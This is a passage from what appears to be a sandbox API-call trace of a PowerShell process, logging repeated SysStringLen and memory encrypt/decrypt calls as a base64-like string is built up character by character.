(param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯ﹧㵂泺ⶡ黆㿥뜁뙝熋懵㡀败䔘Դ෠⤜∲) returned 0x28 [0209.646] SystemFunction041 (in: Memory=0x5c91ce4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91ce4) returned 0x0 [0209.647] SysStringLen (param_1="S7kG5NsyrN3mmMAYpRmQtzhNFMUAZw5KBZk/Yme䚍") returned 0x28 [0209.647] SystemFunction040 (in: Memory=0x5c91ce4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91ce4) returned 0x0 [0209.647] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯ﹧㵂泺ⶡ黆㿥뜁뙝ᵎ홚\ǝ冦ꃔ") returned 0x28 [0209.647] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯ﹧㵂泺ⶡ黆㿥뜁뙝ᵎ홚\ǝ冦ꃔ") returned 0x28 [0209.647] SystemFunction041 (in: Memory=0x5c91ce4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91ce4) returned 0x0 [0209.647] SysStringLen (param_1="S7kG5NsyrN3mmMAYpRmQtzhNFMUAZw5KBZk/Yme6") returned 0x28 [0209.647] SystemFunction040 (in: Memory=0x5c91ce4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91ce4) returned 0x0 [0209.647] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯ﹧㵂泺ⶡ黆㿥뜁뙝碋ꁺ퓩₏⣁へ岲⊳) returned 0x28 [0209.648] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯ﹧㵂泺ⶡ黆㿥뜁뙝碋ꁺ퓩₏⣁へ岲⊳) returned 0x28 [0209.648] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯ﹧㵂泺ⶡ黆㿥뜁뙝碋ꁺ퓩₏⣁へ岲⊳) returned 0x28 [0209.648] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯ﹧㵂泺ⶡ黆㿥뜁뙝碋ꁺ퓩₏⣁へ岲⊳) returned 0x30 [0209.648] SystemFunction041 (in: Memory=0x3da954, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da954) returned 0x0 [0209.649] SysStringLen (param_1="S7kG5NsyrN3mmMAYpRmQtzhNFMUAZw5KBZk/Yme68턵篮蟇캚셃繧") returned 0x30 [0209.649] SystemFunction040 (in: Memory=0x3da954, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da954) returned 0x0 [0209.649] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯ﹧㵂泺ⶡ黆㿥뜁뙝碋ꁺ퓩₏⣁へ岲⺳갟惮腱赼渝\뿝") returned 0x30 [0209.649] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯ﹧㵂泺ⶡ黆㿥뜁뙝碋ꁺ퓩₏⣁へ岲⺳갟惮腱赼渝\뿝") returned 0x30 [0209.649] SystemFunction041 (in: Memory=0x3da954, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da954) returned 0x0 [0209.649] SysStringLen (param_1="S7kG5NsyrN3mmMAYpRmQtzhNFMUAZw5KBZk/Yme68o篮蟇캚셃繧") returned 0x30 [0209.649] SystemFunction040 (in: Memory=0x3da954, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da954) returned 0x0 [0209.649] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯ﹧㵂泺ⶡ黆㿥뜁뙝碋ꁺ퓩₏⣁へ岲ꊳ⇛齭纪⩼䢄∼) returned 0x30 [0209.649] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯ﹧㵂泺ⶡ黆㿥뜁뙝碋ꁺ퓩₏⣁へ岲ꊳ⇛齭纪⩼䢄∼) returned 0x30 [0209.649] SystemFunction041 (in: Memory=0x3da954, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da954) returned 0x0 [0209.649] SysStringLen (param_1="S7kG5NsyrN3mmMAYpRmQtzhNFMUAZw5KBZk/Yme68og篮蟇캚셃繧") returned 0x30 [0209.650] SystemFunction040 (in: Memory=0x3da954, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da954) returned 0x0 [0209.650] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯ﹧㵂泺ⶡ黆㿥뜁뙝碋ꁺ퓩₏⣁へ岲잳걱็扏\⛟䵵╋") returned 0x30 [0209.650] SysStringLen (param_1="죡֢뭸䫰ᖟ牞웉䋼5⑦셚㦗廥ᗡ㞶蔸趮鷢鐏\Ῐꡯ﹧㵂泺ⶡ黆㿥뜁뙝碋ꁺ퓩₏⣁へ岲잳걱็扏\⛟䵵╋") returned 0x30 [0209.650] SystemFunction041 (in: Memory=0x3da954, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da954) returned 0x0 [0209.650] SysStringLen (param_1="S7kG5NsyrN3mmMAYpRmQtzhNFMUAZw5KBZk/Yme68og=蟇캚셃繧") returned 0x30 [0209.650] SystemFunction040 (in: Memory=0x3da954, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da954) returned 0x0 [0209.651] EtwEventActivityIdControl () returned 0x0 [0209.652] EtwEventActivityIdControl () returned 0x0 [0209.652] EtwEventActivityIdControl () returned 0x0 [0209.805] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e690, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0209.805] EtwEventActivityIdControl () returned 0x0 [0209.805] EtwEventActivityIdControl () returned 0x0 [0209.805] EtwEventActivityIdControl () returned 0x0 [0209.807] SysStringLen (param_1="") returned 0x8 [0209.807] SysStringLen (param_1="N") returned 0x8 [0209.807] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0209.807] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0209.807] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0209.807] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0209.808] SysStringLen (param_1="ND") returned 0x8 [0209.808] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0209.808] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0209.808] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0209.808] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0209.808] SysStringLen (param_1="NDZ") returned 0x8 [0209.808] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0209.808] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0209.808] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0209.808] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0209.808] SysStringLen (param_1="NDZl") returned 0x8 [0209.808] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0209.809] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0209.809] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0209.809] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0209.809] SysStringLen (param_1="NDZlO") returned 0x8 [0209.809] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0209.809] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0209.809] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0209.809] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0209.809] SysStringLen (param_1="NDZlOD") returned 0x8 [0209.809] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0209.809] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0209.809] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0209.809] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0209.810] SysStringLen (param_1="NDZlODR") returned 0x8 [0209.810] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0209.810] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0209.810] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0209.810] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0209.810] SysStringLen (param_1="NDZlODRm") returned 0x8 [0209.810] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0209.810] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0209.811] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0209.811] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0209.811] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0209.811] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0209.811] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0209.811] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0209.811] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0209.812] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0209.812] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0209.812] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0209.812] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0209.812] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0209.812] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0209.812] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0209.812] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0209.812] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0209.813] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0209.813] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0209.813] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0209.813] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0209.813] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0209.813] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0209.813] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0209.813] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0209.813] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0209.813] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0209.813] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0209.814] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0209.814] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0209.814] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0209.814] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0209.814] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0209.814] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0209.814] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0209.814] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0209.814] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0209.814] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0209.814] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0209.814] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0209.815] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0209.815] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0209.815] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0209.815] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0209.815] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0209.815] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0209.815] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0209.816] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0209.816] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0209.816] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0209.816] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0209.816] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0209.817] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0209.817] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0209.817] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0209.817] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0209.817] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0209.817] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0209.817] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0209.818] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0209.818] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0209.818] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0209.819] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0209.819] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0209.819] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0209.819] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0209.819] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0209.819] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0209.819] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0209.819] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0209.819] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0209.819] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0209.819] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0209.820] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0209.820] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0209.820] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0209.820] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0209.820] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0209.820] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0209.820] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0209.820] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0209.820] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0209.820] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0209.821] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0209.821] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0209.821] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0209.821] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0209.821] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0209.821] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0209.822] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0209.822] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0209.822] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0209.822] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0209.822] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0209.822] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0209.822] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0209.823] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0209.823] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0209.823] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0209.823] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0209.823] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0209.823] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0209.823] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0209.823] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0209.823] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0209.823] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0209.824] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0209.824] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0209.824] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0209.824] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0209.824] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0209.824] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0209.824] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0209.824] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0209.824] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0209.824] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0209.825] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0209.825] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0209.825] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0209.825] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0209.825] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0209.825] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0209.825] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0209.825] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0209.825] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0209.825] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0209.825] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0209.826] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0209.826] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0209.826] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0209.826] SystemFunction041 (in: Memory=0x5c91ce4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91ce4) returned 0x0 [0209.827] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0209.827] SystemFunction040 (in: Memory=0x5c91ce4, MemorySize=0x50, 